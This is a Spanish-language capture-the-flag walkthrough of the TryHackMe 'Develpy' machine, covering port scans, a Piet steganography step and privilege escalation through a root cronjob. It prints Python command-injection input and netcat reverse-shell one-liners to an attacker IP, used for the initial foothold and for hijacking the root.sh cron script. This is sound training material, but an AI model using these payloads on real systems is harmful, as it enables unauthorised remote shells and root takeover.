Develpy es una maquina de TryHackMe originalmente para Bsides Guatemala, presenta una vulnerabilidad en script de Python a la escucha de instrucciones donde ejecutamos una shell inversa, tambien encontramos un reto de Esteganografia que nos dio acceso a un siguiente usuario por SSH. Para escalar privilegios modificamos un script utilizado por un CronJob, una alternativa era una aplicacion en Django que permitia la ejecucion de scripts en python.
Room
Titulo |
Develpy |
Descripción |
boot2root machine for FIT and bsides Guatemala CTF |
Puntos |
60 |
Dificultad |
Media |
Maker |
stuxnet |
MASSCAN & NMAP
Escaneo de puertos udp/tcp y sus servicios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
root@kali:~/trymehack/develpy# masscan -p1-65535,U:1-65535 10.10.100.133 --rate=1000 -e tun0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-09-03 23:20:18 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 10000/tcp on 10.10.100.133
Discovered open port 22/tcp on 10.10.100.133
root@kali:~/trymehack/develpy# nmap --script firewall-bypass 10.10.100.133
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-03 19:36 EDT
Nmap scan report for 10.10.100.133
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
10000/tcp open snet-sensor-mgmt
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-03 19:38 EDT
Nmap scan report for 10.10.100.133
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
10000/tcp open snet-sensor-mgmt?
| fingerprint-strings:
| GenericLines:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 0
| SyntaxError: unexpected EOF while parsing
| GetRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'OPTIONS' is not defined
| NULL:
| Private 0days
|_ Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.70%I=7%D=9/3%Time=5D6EF9B4%P=x86_64-pc-linux-gnu%r(NU
SF:LL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x20
SF:Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")%r
SF:(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r
SF:\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\
SF:?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\
SF:x20\"\./exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20\
SF:x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20
SF:of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<string
SF:>\",\x20line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'GET'\x20
SF:is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of
SF:\x20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20cal
SF:l\x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in
SF:\x20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20P
SF:lease\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)
SF:\r\n\x20\x20File\x20\"<string>\",\x20line\x201,\x20in\x20<module>\r\nNa
SF:meError:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n")%r(RTSPReque
SF:st,13A,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20Tra
SF:ceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\x20\"\./e
SF:xploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20\x20num_ex
SF:ploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20of\x20exp
SF:loits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<string>\",\x20l
SF:ine\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'OPTIONS'\x20is\x2
SF:0not\x20defined\r\n")%r(GenericLines,13B,"\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of\x20
SF:exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20call\x2
SF:0last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20
SF:<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20Pleas
SF:e\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n
SF:\x20\x20File\x20\"<string>\",\x20line\x200\r\n\x20\x20\x20\x20\r\n\x20\
SF:x20\x20\x20\^\r\nSyntaxError:\x20unexpected\x20EOF\x20while\x20parsing\
SF:r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.23 seconds
|
En el puerto 10000 encontramos un script que nos pide un numero para poder enviar ese numero de paquetes al localhost.
KING - USER
Le pasamos codigo python para ejecucion de comandos y vemos el resultado del comando enviado.
1
|
__import__('os').system('id')
|
Le pasamos una shell inversa
1
|
__import__('os').system('nc -e /bin/sh 10.8.1.72 1337')
|
Obtenemos una shell con el usuario king y la flag user.txt
.
ESTEGANOGRAFIA
En la carpeta principal encontramos una imagen con el nombre de credentials.png
, lo copiamos a nuestra maquina.
La imagene contiene distintos colores, para poder decodificar la imagen utilizamos la pagina de npiet.
Imagen con credenciales
SSH - KING
Nos logeamos con las credenciales que encontramos en la imagen y obtenemos acceso con el usuario king nuevamente.
PRIVILEGE ESCALATION
Utilizamos pspy para ver los cronjobs que se ejecuta, vemos que el usuario root ejecuta el archivo root.sh
y run.sh
que se encuentra en la carpeta principal del usuario king.
Cambiamos el nombre del archivo root.sh a root.sh.bak y creamos un nuevo archivo con nuestra shell inversa.
1
|
echo "nc -e /bin/sh 10.8.1.72 1338" >> root.sh
|
Obtenemos una shell inversa con el usuario root y nuestra flag root.txt
.
ALTERNATIVE ROOT - DJANGO
Encontramos que en el puerto 8080 esta corriendo un servicio de python o una pagina de django, como pudimos observar en la lista de pspy. Utilizamos ssh para traer localmente el puerto 8080 con las credenciales del usuario King.
Encontramos una pagina escrita en django en la cual se puede enviar un archivo de python.
Simple upload
Creamos un archivo con una shell inversa en python.
Subimos nuestro archivo python, esperamos hasta que el cronjob ejecute el archivo root.sh
, el cual ejecuta cualquier archivo python que se encuentra en la carpetan /root/company/media/*.py
.
Esperamos hasta que se ejecute el cronjob y nos da una shell inversa con el usuario root.
Tambien vemos nuestro archivo que se subio a la carpeta del usuario root.